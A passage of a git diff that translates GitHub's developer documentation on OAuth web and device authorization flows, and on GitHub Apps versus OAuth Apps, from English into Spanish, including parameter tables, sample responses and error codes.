| {% data reusables.apps.state_description %} -`allow_signup`|`string` | Whether or not unauthenticated users will be offered an option to sign up for GitHub during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups. +`allow_signup`|`string` | Ya sea que se ofrezca o no una opción para registrarse en GitHub a los usuarios sin autenticar durante el flujo de OAuth, El valor predeterminado es `true`. Use `false` cuando una directiva prohíba los registros. -### 2. Users are redirected back to your site by GitHub +### 2. GitHub redirecciona a los usuarios de vuelta al sitio -If the user accepts your request, {% data variables.product.product_name %} redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. The temporary code will expire after 10 minutes. If the states don't match, then a third party created the request, and you should abort the process. +Si el usuario acepta la solicitud, {% data variables.product.product_name %} le redirecciona de vuelta al sitio con un valor `code` temporal en un parámetro de código y con el estado que haya proporcionado en el paso anterior en un parámetro `state`. El código temporal caducará después de 10 minutos. Si los estados no empatan, entonces un tercero creó la solicitud, y debes abandonar el proceso. -Exchange this `code` for an access token: +Intercambie este valor `code` por un token de acceso: POST {% data variables.product.oauth_host_code %}/login/oauth/access_token -#### Parameters +#### Parámetros -Name | Type | Description +Nombre | Tipo | Descripción -----|------|-------------- -`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}. -`client_secret` | `string` | **Required.** The client secret you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}. -`code` | `string` | **Required.** The code you received as a response to Step 1. -`redirect_uri` | `string` | The URL in your application where users are sent after authorization. +`client_id` | `string` | **Obligatorio.** El id. de cliente que ha recibido de {% data variables.product.product_name %} para la {% data variables.product.prodname_oauth_app %}. +`client_secret` | `string` | **Obligatorio.** El secreto de cliente que ha recibido de {% data variables.product.product_name %} para la {% data variables.product.prodname_oauth_app %}. +`code` | `string` | **Obligatorio.** Código que ha recibido como respuesta al paso 1. +`redirect_uri` | `string` | La URL en tu aplicación, hacia la cual se envía a los usuarios después de su autorización. #### Response -By default, the response takes the following form: +Predeterminadamente, la respuesta toma la siguiente forma: ``` access_token=gho_16C7e42F292c6912E7710c838347Ae178B4a&scope=repo%2Cgist&token_type=bearer @@ -102,57 +108,57 @@ Accept: application/xml ``` -### 3. Use the access token to access the API +### 3. Uso del token de acceso para acceder a la API -The access token allows you to make requests to the API on a behalf of a user. +El token de acceso te permite hacer solicitudes a la API a nombre de un usuario. Authorization: Bearer OAUTH-TOKEN GET {% data variables.product.api_url_code %}/user -For example, in curl you can set the Authorization header like this: +Por ejemplo, en curl, puedes configurar el encabezado de autorización de la siguiente manera: ```shell curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user ``` -## Device flow +## Flujo de dispositivos {% note %} -**Note:** The device flow is in public beta and subject to change. +**Nota:** El flujo de dispositivos se encuentra en versión beta pública y está sujeto a cambios. {% endnote %} -The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager. +Este flujo de dispositivos te permite autorizar usuarios para una app sin encabezado, tal como una herramienta de CLI o un administrador de credenciales de Git. {% ifversion device-flow-is-opt-in %} -Before you can use the device flow to authorize and identify users, you must first enable it in your app's settings. For more information about enabling the device flow in your app, see "[Modifying an OAuth App](/developers/apps/managing-oauth-apps/modifying-an-oauth-app)" for OAuth Apps and "[Modifying a GitHub App](/developers/apps/managing-github-apps/modifying-a-github-app)" for GitHub Apps. +Antes de que puedas utilizar el flujo de dispositivos para autorizar e identificar usuarios, primero debes habilitarlo en los ajustes de tu app. Para más información sobre cómo habilitar el flujo de dispositivo en la aplicación, vea "[Modificación de una aplicación de OAuth](/developers/apps/managing-oauth-apps/modifying-an-oauth-app)" para aplicaciones de OAuth y "[Modificación de una aplicación de GitHub](/developers/apps/managing-github-apps/modifying-a-github-app)" para aplicaciones de GitHub. {% endif %} -### Overview of the device flow +### Resumen del flujo de dispositivos -1. Your app requests device and user verification codes and gets the authorization URL where the user will enter the user verification code. -2. The app prompts the user to enter a user verification code at {% data variables.product.device_authorization_url %}. -3. The app polls for the user authentication status. Once the user has authorized the device, the app will be able to make API calls with a new access token. +1. Tu app solicita el dispositivo y los códigos de verificación de usuario y obtiene una URL de autoización en donde el usuario ignresará su código de verificación de usuario. +2. La app pide al usuario ingresar un código de verificación de usuario en {% data variables.product.device_authorization_url %}. +3. La app sondea el estado de autenticación del usuario. Una vez que el usuario haya autorizado el dispositivo, la app podrá hacer llamadas a la API con un token de acceso nuevo. -### Step 1: App requests the device and user verification codes from GitHub +### Paso 1: La app solicita los códigos de dispositivo y de usuario a GitHub POST {% data variables.product.oauth_host_code %}/login/device/code -Your app must request a user verification code and verification URL that the app will use to prompt the user to authenticate in the next step. This request also returns a device verification code that the app must use to receive an access token and check the status of user authentication. +Tu app debe solicitar un código de verificación de usuario y una URL de verificación que la app utilizará para indicar al usuario que se autentique en el siguiente paso. Esta solicitud también devuelve un código de verificación de dispositivo que debe utilizar la app para recibir un token de acceso y verificar así el estado de la autenticación del usuario. -#### Input Parameters +#### Parámetros de entrada -Name | Type | Description +Nombre | Tipo | Descripción -----|------|-------------- -`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your app. -`scope` | `string` | The scope that your app is requesting access to. +`client_id` | `string` | **Obligatorio.** Id. de cliente que ha recibido de {% data variables.product.product_name %} para la aplicación. +`scope` | `string` | El alcance al cual está solicitando acceso tu app. #### Response -By default, the response takes the following form: +Predeterminadamente, la respuesta toma la siguiente forma: ``` device_code=3584d83530557fdd1f46af8289938c8ef79f9dc5&expires_in=900&interval=5&user_code=WDJB-MJHT&verification_uri=https%3A%2F%{% data variables.product.product_url %}%2Flogin%2Fdevice @@ -182,43 +188,43 @@ Accept: application/xml ``` -#### Response parameters +#### Parámetros de respuesta -Name | Type | Description +Nombre | Tipo | Descripción -----|------|-------------- -`device_code` | `string` | The device verification code is 40 characters and used to verify the device. -`user_code` | `string` | The user verification code is displayed on the device so the user can enter the code in a browser. This code is 8 characters with a hyphen in the middle. -`verification_uri` | `string` | The verification URL where users need to enter the `user_code`: {% data variables.product.device_authorization_url %}. -`expires_in` | `integer`| The number of seconds before the `device_code` and `user_code` expire. The default is 900 seconds or 15 minutes. -`interval` | `integer` | The minimum number of seconds that must pass before you can make a new access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) to complete the device authorization. For example, if the interval is 5, then you cannot make a new request until 5 seconds pass. If you make more than one request over 5 seconds, then you will hit the rate limit and receive a `slow_down` error. +`device_code` | `string` | El código de verificación de dispositivo es de 40 caracteres y se utiliza para verificar dicho dispositivo. +`user_code` | `string` | El código de verificación de usuario se muestra en el dispositivo para que el usuario pueda ingresar dicho código en un buscador. El código es de 8 caracteres con un guión medio a la mitad. +`verification_uri` | `string` | URL de verificación en la que los usuarios deben escribir el valor `user_code`: {% data variables.product.device_authorization_url %}. +`expires_in` | `integer`| Número de segundos antes de que `device_code` y `user_code` expiren. La cantidad predeterminada es de 900 segundos o 15 minutos. +`interval` | `integer` | Número mínimo de segundos que deben pasar antes de poder realizar una nueva solicitud de token de acceso (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) para completar la autorización del dispositivo. Por ejemplo, si el intervalo es 5, entonces no puedes hacer una solicitud nueva hasta que hayan transcurrido 5 segudos. Si realiza más de una solicitud en estos 5 segundos, alcanzará el límite de frecuenta y se producirá un error `slow_down`. -### Step 2: Prompt the user to enter the user code in a browser +### Paso 2: Indicar al usuario ingresar el código de usuario en un buscador -Your device will show the user verification code and prompt the user to enter the code at {% data variables.product.device_authorization_url %}. +Tu dispositivo mostrará el código de verificación de usuario y pedirá al usuario ingresar el código en la {% data variables.product.device_authorization_url %}. - ![Field to enter the user verification code displayed on your device](/assets/images/github-apps/device_authorization_page_for_user_code.png) + ![Campo para ingresar el código de verificación de usuario nuevo en tu dispositivo](/assets/images/github-apps/device_authorization_page_for_user_code.png) -### Step 3: App polls GitHub to check if the user authorized the device +### Paso 3: La app sondea GitHub para verificar si el usuario autorizó el dispositivo POST {% data variables.product.oauth_host_code %}/login/oauth/access_token -Your app will make device authorization requests that poll `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`, until the device and user codes expire or the user has successfully authorized the app with a valid user code. The app must use the minimum polling `interval` retrieved in step 1 to avoid rate limit errors. For more information, see "[Rate limits for the device flow](#rate-limits-for-the-device-flow)." +La aplicación realizará solicitudes de autorización de dispositivo que sondean `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` hasta que expiren los códigos de usuario y dispositivo, o el usuario haya autorizado correctamente la aplicación con un código de usuario válido. La aplicación debe usar el sondeo `interval` mínimo recuperado en el paso 1 para evitar errores de límite de frecuencia. Para más información, vea "[Límites de frecuencia para el flujo del dispositivo](#rate-limits-for-the-device-flow)". -The user must enter a valid code within 15 minutes (or 900 seconds). After 15 minutes, you will need to request a new device authorization code with `POST {% data variables.product.oauth_host_code %}/login/device/code`. +El usuario debe ingresar un código válido dentro de los 15 minutos (o 900 segundos) siguientes. Después de 15 minutos, tendrá que solicitar un nuevo código de autorización de dispositivo con `POST {% data variables.product.oauth_host_code %}/login/device/code`. -Once the user has authorized, the app will receive an access token that can be used to make requests to the API on behalf of a user. +Ya que el usuario lo haya autorizado, la app recibirá un token de acceso que se puede utilizar para hacer solicitudes a la API en nombre de un usuario. -#### Input parameters +#### Parámetros de entrada -Name | Type | Description +Nombre | Tipo | Descripción -----|------|-------------- -`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}. -`device_code` | `string` | **Required.** The device verification code you received from the `POST {% data variables.product.oauth_host_code %}/login/device/code` request. -`grant_type` | `string` | **Required.** The grant type must be `urn:ietf:params:oauth:grant-type:device_code`. +`client_id` | `string` | **Obligatorio.** El id. de cliente que ha recibido de {% data variables.product.product_name %} para la {% data variables.product.prodname_oauth_app %}. +`device_code` | `string` | **Obligatorio.** Código de verificación del dispositivo que ha recibido de la solicitud `POST {% data variables.product.oauth_host_code %}/login/device/code`. +`grant_type` | `string` | **Obligatorio.** El tipo de concesión debe ser `urn:ietf:params:oauth:grant-type:device_code`. #### Response -By default, the response takes the following form: +Predeterminadamente, la respuesta toma la siguiente forma: ``` access_token=gho_16C7e42F292c6912E7710c838347Ae178B4a&token_type=bearer&scope=repo%2Cgist @@ -244,48 +250,40 @@ Accept: application/xml ``` -### Rate limits for the device flow +### Límites de tasa para el flujo del dispositivo -When a user submits the verification code on the browser, there is a rate limit of 50 submissions in an hour per application. +Cuando un usuario emite el código de verificación en el buscador, hay un límite de tasa de 50 emisiones en una hora por aplicación. -If you make more than one access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) within the required minimum timeframe between requests (or `interval`), you'll hit the rate limit and receive a `slow_down` error response. The `slow_down` error response adds 5 seconds to the last `interval`. For more information, see the [Errors for the device flow](#errors-for-the-device-flow). +Si realiza más de una solicitud de token de acceso (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) dentro del período mínimo necesario entre las solicitudes (o `interval`), alcanzará el límite de frecuencia y recibirá una respuesta de error `slow_down`. La respuesta de error `slow_down` agrega 5 segundos a la última instancia de `interval`. Para más información, vea [Errores para el flujo del dispositivo](#errors-for-the-device-flow). -### Error codes for the device flow +### Códigos de error para el flujo del dispositivo -| Error code | Description | +| Código de error | Descripción | |----|----| -| `authorization_pending`| This error occurs when the authorization request is pending and the user hasn't entered the user code yet. The app is expected to keep polling the `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` request without exceeding the [`interval`](#response-parameters), which requires a minimum number of seconds between each request. | -| `slow_down` | When you receive the `slow_down` error, 5 extra seconds are added to the minimum `interval` or timeframe required between your requests using `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. For example, if the starting interval required at least 5 seconds between requests and you get a `slow_down` error response, you must now wait a minimum of 10 seconds before making a new request for an OAuth access token. The error response includes the new `interval` that you must use. -| `expired_token` | If the device code expired, then you will see the `token_expired` error. You must make a new request for a device code. -| `unsupported_grant_type` | The grant type must be `urn:ietf:params:oauth:grant-type:device_code` and included as an input parameter when you poll the OAuth token request `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. -| `incorrect_client_credentials` | For the device flow, you must pass your app's client ID, which you can find on your app settings page. The `client_secret` is not needed for the device flow. -| `incorrect_device_code` | The device_code provided is not valid. -| `access_denied` | When a user clicks cancel during the authorization process, you'll receive a `access_denied` error and the user won't be able to use the verification code again.{% ifversion device-flow-is-opt-in %} -| `device_flow_disabled` | Device flow has not been enabled in the app's settings. For more information, see "[Device flow](#device-flow)."{% endif %} +| `authorization_pending`| Este error ocurre cuando la solicitud de autorización se encuentra pendiente y el usuario no ha ingresado el código de usuario aún. Se espera que la aplicación siga sondeando la solicitud `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` sin superar [`interval`](#response-parameters), para lo que se necesita un número mínimo de segundos entre cada solicitud. | +| `slow_down` | Cuando recibe el error `slow_down`, se agregan 5 segundos adicionales al valor `interval` mínimo o período de tiempo necesario entre las solicitudes mediante `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. Por ejemplo, si en el intervalo de inicio se necesitaban al menos 5 segundos entre solicitudes y recibe una respuesta de error `slow_down`, ahora tendrá que esperar al menos 10 segundos antes de poder realizar una nueva solicitud para un token de acceso de OAuth. La respuesta de error incluye el nuevo valor `interval` que debe usar. +| `expired_token` | Si el código del dispositivo ha expirado, verá el error `token_expired`. Debes hacer una nueva solicitud para un código de dispositivo. +| `unsupported_grant_type` | El tipo de concesión debe ser `urn:ietf:params:oauth:grant-type:device_code` e incluirse como parámetro de entrada al sondear la solicitud de token de OAuth `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. +| `incorrect_client_credentials` | Para el flujo de dispositivos, debes pasar la ID de cliente de tu app, la cual puedes encontrar en la página de configuración de la misma. `client_secret` no es necesario para el flujo del dispositivo. +| `incorrect_device_code` | El device_code que se proporcionó es inválido. +| `access_denied` | Cuando un usuario hace clic en Cancelar durante el proceso de autorización, recibirá un error `access_denied` y el usuario no podrá volver a utilizar el código de verificación.{% ifversion device-flow-is-opt-in %} +| `device_flow_disabled` | El flujo de dispositivos no se habilitó en los ajustes de la app. Para más información, vea "[Flujo de dispositivos](#device-flow)".{% endif %} -For more information, see the "[OAuth 2.0 Device Authorization Grant](https://tools.ietf.org/html/rfc8628#section-3.5)." +Para más información, vea "[Concesión de autorización de dispositivos de OAuth 2.0](https://tools.ietf.org/html/rfc8628#section-3.5)". -## Non-Web application flow +## Flujo de aplicaciónes no web -Non-web authentication is available for limited situations like testing. If you need to, you can use [Basic Authentication](/rest/overview/other-authentication-methods#basic-authentication) to create a {% data variables.product.pat_generic %} using your [{% data variables.product.pat_generic %}s settings page](/articles/creating-an-access-token-for-command-line-use). This technique enables the user to revoke access at any time. +La autenticación no web está disponible para situaciones limitadas, como las pruebas. Si lo necesitas, puede usar la [autenticación básica](/rest/overview/other-authentication-methods#basic-authentication) para crear un {% data variables.product.pat_generic %} en la [página de configuración de {% data variables.product.pat_generic %}](/articles/creating-an-access-token-for-command-line-use). Esta técnica le permite al usuario revocar el acceso en cualquier momento. -{% ifversion fpt or ghes or ghec %} -{% note %} +{% ifversion fpt or ghes or ghec %} {% note %} -**Note:** When using the non-web application flow to create an OAuth2 token, make sure to understand how to [work with -two-factor authentication](/rest/overview/other-authentication-methods#working-with-two-factor-authentication) if -you or your users have two-factor authentication enabled. +**Nota:** Al usar el flujo de aplicaciones que no son web para crear un token de OAuth2, asegúrese de comprender cómo [trabajar con la autenticación en dos fases](/rest/overview/other-authentication-methods#working-with-two-factor-authentication) si usted o los usuarios la han habilitado. -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -## Redirect URLs +## URL de redireccionamiento -The `redirect_uri` parameter is optional. If left out, GitHub will -redirect users to the callback URL configured in the OAuth Application -settings. If provided, the redirect URL's host (excluding sub-domains) and port must exactly -match the callback URL. The redirect URL's path must reference a -subdirectory of the callback URL. +El `redirect_uri` es opcional. Si se excluye, GitHub redireccionará a los usuarios a la URL de devolución de llamada configurada en la aplicación de OAuth. Si se indican, el puerto y host de la dirección URL de redireccionamiento (subdominios excluidos) deben coincidir exactamente con los de la dirección URL de devolución de llamada. La ruta de la URL de redireccionamiento debe hacer referencia un subdirectorio de la URL de devolución de llamada. CALLBACK: http://example.com/path @@ -299,33 +297,33 @@ subdirectory of the callback URL. BAD: http://oauth.example.com:8080/path BAD: http://example.org -### Loopback redirect urls +### Direcciones URL de redireccionamiento de bucle invertido -The optional `redirect_uri` parameter can also be used for loopback URLs. If the application specifies a loopback URL and a port, then after authorizing the application users will be redirected to the provided URL and port. The `redirect_uri` does not need to match the port specified in the callback URL for the app. +El parámetro `redirect_uri` opcional también se puede usar con direcciones URL de bucle invertido. Si la aplicación especifica una dirección URL y un puerto de bucle invertido, los usuarios se redireccionarán al puerto y dirección URL proporcionados después de que la aplicación reciba la autorización. No es necesario que `redirect_uri` coincida con el puerto especificado en la dirección URL de devolución de llamada de la aplicación. -For the `http://127.0.0.1/path` callback URL, you can use this `redirect_uri`: +Para la URL de devolución de llamada `http://127.0.0.1/path`, puede usar este valor `redirect_uri`: ``` http://127.0.0.1:1234/path ``` -Note that OAuth RFC [recommends not to use `localhost`](https://datatracker.ietf.org/doc/html/rfc8252#section-7.3), but instead to use loopback literal `127.0.0.1` or IPv6 `::1`. +Recuerda que en la especificación RFC de OAuth [se recomienda no usar `localhost`](https://datatracker.ietf.org/doc/html/rfc8252#section-7.3), sino usar el literal de bucle invertido `127.0.0.1` o la IPv6 `::1`. -## Creating multiple tokens for OAuth Apps +## Crear tokens múltiples para Apps de OAuth -You can create multiple tokens for a user/application/scope combination to create tokens for specific use cases. +Puedes crear tokens múltiples para una combinación de usuario/aplicación/alcance para crear tokens para casos de uso específicos. -This is useful if your OAuth App supports one workflow that uses GitHub for sign-in and only requires basic user information. Another workflow may require access to a user's private repositories. Using multiple tokens, your OAuth App can perform the web flow for each use case, requesting only the scopes needed. If a user only uses your application to sign in, they are never required to grant your OAuth App access to their private repositories. +Esto es útil si tu Aplicación de OAuth es compatible con un flujo de trabajo que utilice GitHub para registrarse y requiera solo información básica del usuario. Otro flujo de trabajo podría requerir acceso a los repositorios privados del usuario. Al utilizar tokens múltiples, tu App de OAuth podrá llevar a cabo el flujo web para cada caso de uso, solicitando únicamente los alcances que necesite. Si un usuario utiliza tu aplicación únicamente para registrarse, nunca se les solicitará otorgar acceso a tu App de OAuth para sus repositorios privados. {% data reusables.apps.oauth-token-limit %} {% data reusables.apps.deletes_ssh_keys %} -## Directing users to review their access +## Dirigir a los usuarios para revisar su acceso -You can link to authorization information for an OAuth App so that users can review and revoke their application authorizations. +Puedes vincular a la información de autorización para una App de OAuth para que los usuarios puedan revisar y revocar sus autorizaciones de la aplicación. -To build this link, you'll need your OAuth Apps `client_id` that you received from GitHub when you registered the application. +Para crear este vínculo, necesitará el `client_id` de las aplicaciones de OAuth que ha recibido de GitHub al registrar la aplicación. ``` {% data variables.product.oauth_host_code %}/settings/connections/applications/:client_id @@ -333,17 +331,17 @@ To build this link, you'll need your OAuth Apps `client_id` that you received fr {% tip %} -**Tip:** To learn more about the resources that your OAuth App can access for a user, see "[Discovering resources for a user](/rest/guides/discovering-resources-for-a-user)." +**Sugerencia:** Para más información sobre los recursos a los que puede acceder la aplicación de OAuth para un usuario, vea "[Detección de recursos para un usuario](/rest/guides/discovering-resources-for-a-user)". {% endtip %} -## Troubleshooting +## Solución de problemas -* "[Troubleshooting authorization request errors](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)" -* "[Troubleshooting OAuth App access token request errors](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)" -* "[Device flow errors](#error-codes-for-the-device-flow)" -* "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)" +* "[Solución de errores de solicitud de autorización](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)" +* "[Solución de errores de solicitud de tokens de acceso de aplicaciones de OAuth](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)" +* "[Errores de flujo de dispositivo](#error-codes-for-the-device-flow)" +* "[Expiración y revocación de tokens](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)" -## Further reading +## Información adicional -- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)" +- "[Acerca de la autenticación en {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)" diff --git a/translations/es-ES/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md b/translations/es-ES/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md index 667389a548..fbac3b8760 100644 --- a/translations/es-ES/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md +++ b/translations/es-ES/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md @@ -1,6 +1,6 @@ --- -title: Differences between GitHub Apps and OAuth Apps -intro: 'Understanding the differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} will help you decide which app you want to create. An {% data variables.product.prodname_oauth_app %} acts as a GitHub user, whereas a {% data variables.product.prodname_github_app %} uses its own identity when installed on an organization or on repositories within an organization.' +title: Diferencias entre aplicaciones de GitHub y aplicaciones de OAuth +intro: 'El entender las diferencias entre las {% data variables.product.prodname_github_apps %} y las {% data variables.product.prodname_oauth_apps %} te ayudará a decidir qué app quieres crear. Una {% data variables.product.prodname_oauth_app %} actúa como un usuario de Github, mientras que una {% data variables.product.prodname_github_app %} utiliza su propia identidad cuando se instala en una organización o en repositorios dentro de una organización.' redirect_from: - /early-access/integrations/integrations-vs-oauth-applications - /apps/building-integrations/setting-up-a-new-integration/about-choosing-an-integration-type @@ -15,102 +15,107 @@ topics: - GitHub Apps - OAuth Apps shortTitle: GitHub Apps & OAuth Apps +ms.openlocfilehash: d70304b71de11a4a24f2acc6c2545e78cbd19b0c +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148009691' --- -## Who can install GitHub Apps and authorize OAuth Apps? +## ¿Quién puede instalar GitHub Apps y autorizar Apps de OAuth? -You can install GitHub Apps in your personal account or organizations you own. If you have admin permissions in a repository, you can install GitHub Apps on organization accounts. If a GitHub App is installed in a repository and requires organization permissions, the organization owner must approve the application. +Puedes instalar GitHub Apps en tu cuenta personal o en las organizaciones que te pertenezcan. Si tienes permisos administrativos en un repositorio, puedes instalar GitHub Apps en las cuentas de la organización. Si se instala una GitHub App en un repositorio y requiere permisos de organización, el propietario de la organización deberá aprobar la aplicación. {% data reusables.apps.app_manager_role %} -By contrast, users authorize OAuth Apps, which gives the app the ability to act as the authenticated user. For example, you can authorize an OAuth App that finds all notifications for the authenticated user. You can always revoke permissions from an OAuth App. +Por el contrario, los usuarios autorizan las aplicaciones de OAuth, lo que concede a estas aplicaciones la capacidad de actuar como un usuario autenticado. Por ejemplo, puedes autorizar una App de OAuth que encuentre todas las notificaciones para el usuario autenticado. Siempre puedes retirar los permisos de las Apps de OAuth. -{% ifversion limit-app-access-requests %} -{% data reusables.organizations.restricted-app-access-requests %}{% endif %} +{% ifversion limit-app-access-requests %} {% data reusables.organizations.restricted-app-access-requests %}{% endif %} {% data reusables.apps.deletes_ssh_keys %} -| GitHub Apps | OAuth Apps | +| Aplicaciones de GitHub | aplicaciones de OAuth | | ----- | ------ | -| You must be an organization owner or have admin permissions in a repository to install a GitHub App on an organization. If a GitHub App is installed in a repository and requires organization permissions, the organization owner must approve the application. | You can authorize an OAuth app to have access to resources. | -| You can install a GitHub App on your personal repository. | You can authorize an OAuth app to have access to resources.| -| You must be an organization owner, personal repository owner, or have admin permissions in a repository to uninstall a GitHub App and remove its access. | You can delete an OAuth access token to remove access. | -| You must be an organization owner or have admin permissions in a repository to request a GitHub App installation. | If an organization application policy is active, any organization member can request to install an OAuth App on an organization. An organization owner must approve or deny the request. | +| Debes ser un propietario de la organización o tener permisos administrativos en un repositorio para instalar una GitHub App en una organización. Si se instala una GitHub App en un repositorio y requiere permisos de organización, el propietario de la organización deberá aprobar la aplicación. | Puedes autorizar una app de OAuth para que tenga acceso a los recursos. | +| Puedes instalar una GitHu App en tu repositorio personal. | Puedes autorizar una app de OAuth para que tenga acceso a los recursos.| +| Debes ser un propietario de la organización, propietario del repositorio personal, o tener permisos administrativos en un repositorio para desinstalar una GitHub App y eliminar su acceso. | Puedes borrar un token de acceso de OAuth para eliminar el acceso. | +| Debes ser un propietario de la organización o tener permisos administrativos en un repositorio para solicitar la instalación de una GitHub App. | Si está activa una política de aplicación organizacional, cualquier miembro de la organización puede solicitar la instalación de una App de OAuth en dicha organización. Un propietario de la organización deberá aprobar o negar la solicitud. | -## What can GitHub Apps and OAuth Apps access? +## ¿A qué recursos pueden acceder las GitHub Apps y las Apps de OAuth? -Account owners can use a {% data variables.product.prodname_github_app %} in one account without granting access to another. For example, you can install a third-party build service on your employer's organization, but decide not to grant that build service access to repositories in your personal account. A GitHub App remains installed if the person who set it up leaves the organization. +Los propietarios de las cuentas pueden utilizar una {% data variables.product.prodname_github_app %} en una cuenta sin otorgarle acceso a otra cuenta. Por ejemplo, puedes instalar un servicio de compilación de terceros en la organización de tu patrón laboral, pero puedes decidir no otorgar a esa compilación acceso de servicio a los repositorios en tu cuenta personal. Una GitHub App permanece instalada si la persona que la configuró deja a la organización. -An _authorized_ OAuth App has access to all of the user's or organization owner's accessible resources. +Una aplicación de OAuth _autorizada_ tiene acceso a todos los recursos que son accesibles para el usuario o el propietario de la organización. -| GitHub Apps | OAuth Apps | +| Aplicaciones de GitHub | aplicaciones de OAuth | | ----- | ------ | -| Installing a GitHub App grants the app access to a user or organization account's chosen repositories. | Authorizing an OAuth App grants the app access to the user's accessible resources. For example, repositories they can access. | -| The installation token from a GitHub App loses access to resources if an admin removes repositories from the installation. | An OAuth access token loses access to resources when the user loses access, such as when they lose write access to a repository. | -| Installation access tokens are limited to specified repositories with the permissions chosen by the creator of the app. | An OAuth access token is limited via scopes. | -| GitHub Apps can request separate access to issues and pull requests without accessing the actual contents of the repository. | OAuth Apps need to request the `repo` scope to get access to issues, pull requests, or anything owned by the repository. | -| GitHub Apps aren't subject to organization application policies. A GitHub App only has access to the repositories an organization owner has granted. | If an organization application policy is active, only an organization owner can authorize the installation of an OAuth App. If installed, the OAuth App gains access to anything visible to the token the organization owner has within the approved organization. | -| A GitHub App receives a webhook event when an installation is changed or removed. This tells the app creator when they've received more or less access to an organization's resources. | OAuth Apps can lose access to an organization or repository at any time based on the granting user's changing access. The OAuth App will not inform you when it loses access to a resource. | +| La instalación de una aplicación de GitHub concede a la aplicación acceso a los repositorios elegidos de una cuenta de usuario u organización. | La autorización de una aplicación de OAuth concede a la aplicación acceso a los recursos accesibles del usuario. Por ejemplo, los repositorios a los que puede acceder. | +| El token de instalación de una GitHub App pierde acceso a los recursos si un administrador elimina los repositorios de la instalación. | Un token de acceso de OAuth pierde acceso a los recursos cuando el usuario mismo pierde acceso a ellos, como cuando pierden el acceso de escritura a un repositorio. | +| Los tokens de acceso de instalación se limitan a repositorios especificados con los permisos que ha elegido el creador de la aplicación. | Un token de acceso de OAuth se limita mediante ámbitos. | +| Las GitHub Apps pueden solicitar acceso por separado a los informes de problemas y a las solicitudes de extracción sin acceder al contenido real del repositorio. | Las aplicaciones de OAuth deben solicitar el ámbito `repo` para obtener acceso a las incidencias, solicitudes de incorporación de cambios o cualquier recurso que pertenezca al repositorio. | +| Las aplicaciones de GitHub no están sujetas a las directivas de aplicación de la organización. Una aplicación de GitHub solo tiene acceso a los repositorios a los que un propietario de organización le permite acceder. | Si hay una directiva de aplicación de organización activa, solo un propietario de la organización puede autorizar la instalación de una aplicación de OAuth. Si está instalada, la aplicación de OAuth obtiene acceso a cualquier elemento visible para el token que el propietario de la organización tiene dentro de la organización aprobada. | +| Las GitHub Apps reciben un evento de webhook cuando se cambia o elimina una instalación. Esto indica al creador de la app cuando han recibido más o menos accesos a los recursos organizacionales. | Las Apps de OAuth pueden perder el acceso a una organización o a un repositorio en cualquier momento con base en acceso cambiante del usuario que otorga los permisos. La App de OAuth no te informará cuando pierde el acceso a un recurso. | -## Token-based identification +## Identificación basada en tokens {% note %} -**Note:** GitHub Apps can also use a user-based token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." +**Nota:** Las aplicaciones de GitHub también pueden usar un token basado en el usuario. Para más información, vea "[Identificación y autorización de usuarios para Aplicaciones de GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)". {% endnote %} -| GitHub Apps | OAuth Apps | +| Aplicaciones de GitHub | aplicaciones de OAuth | | ----- | ----------- | -| A GitHub App can request an installation access token by using a private key with a JSON web token format out-of-band. | An OAuth app can exchange a request token for an access token after a redirect via a web request. | -| An installation token identifies the app as the GitHub Apps bot, such as @jenkins-bot. | An access token identifies the app as the user who granted the token to the app, such as @octocat. | -| Installation tokens expire after a predefined amount of time (currently 1 hour). | OAuth tokens remain active until they're revoked by the customer. | -| {% data variables.product.prodname_github_apps %} installed on organizations or repositories are subject to rate limits for server-to-server requests. For more information, see "[Rate limits for {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/rate-limits-for-github-apps)." | OAuth tokens use the user's rate limit of {% ifversion fpt or ghec or ghes %}5,000{% elsif ghae %}15,000{% endif %} requests per hour. | -| Rate limit increases can be granted both at the GitHub Apps level (affecting all installations) and at the individual installation level. | Rate limit increases are granted per OAuth App. Every token granted to that 